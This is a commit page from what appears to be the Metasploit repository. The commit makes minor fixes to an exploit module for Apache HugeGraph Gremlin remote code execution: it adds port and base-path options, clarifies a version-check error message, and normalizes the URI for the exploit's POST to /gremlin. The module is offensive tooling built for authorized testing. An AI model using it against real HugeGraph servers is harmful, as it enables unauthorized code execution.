Skip to content

Commit d7ae1b5

Browse files
committed
Minor fixes
1 parent 075ce28 commit d7ae1b5

File tree

2 files changed

+6
-3
lines changed

2 files changed

+6
-3
lines changed

documentation/modules/exploit/linux/http/apache_hugegraph_gremlin_rce.md

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,6 @@ To install a vulnerable instance via docker run the following command:
99
docker run -itd --name=graph -p 8080:8080 hugegraph/hugegraph:1.0.0
1010
```
1111

12-
1312
## Verification Steps
1413

1514
1. Start msfconsole

modules/exploits/linux/http/apache_hugegraph_gremlin_rce.rb

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,10 @@ def initialize(info = {})
4343
}
4444
)
4545
)
46+
register_options([
47+
Opt::RPORT(8080),
48+
OptString.new('TARGETURI', [true, 'Base path to the Apache HugeGraph web application', '/'])
49+
])
4650
end
4751

4852
def check
@@ -51,7 +55,7 @@ def check
5155
})
5256

5357
return CheckCode::Unknown('No response from the vulnerable endpoint /gremlin') unless res
54-
return CheckCode::Unknown('The response from the vulnerable endpoint /gremlin was not 200') unless res.code == 200
58+
return CheckCode::Unknown("The response from the vulnerable endpoint /gremlin was: #{res.code} (expected: 200)") unless res.code == 200
5559

5660
version = res.get_json_document&.dig('version')
5761
return CheckCode::Unknown('Unable able to determine the version of Apache HugeGraph') unless version
@@ -86,7 +90,7 @@ def exploit
8690
}
8791

8892
res = send_request_cgi({
89-
'uri' => '/gremlin',
93+
'uri' => normalize_uri(target_uri.path, '/gremlin'),
9094
'method' => 'POST',
9195
'ctype' => 'application/json',
9296
'data' => data.to_json

0 commit comments

Comments
 (0)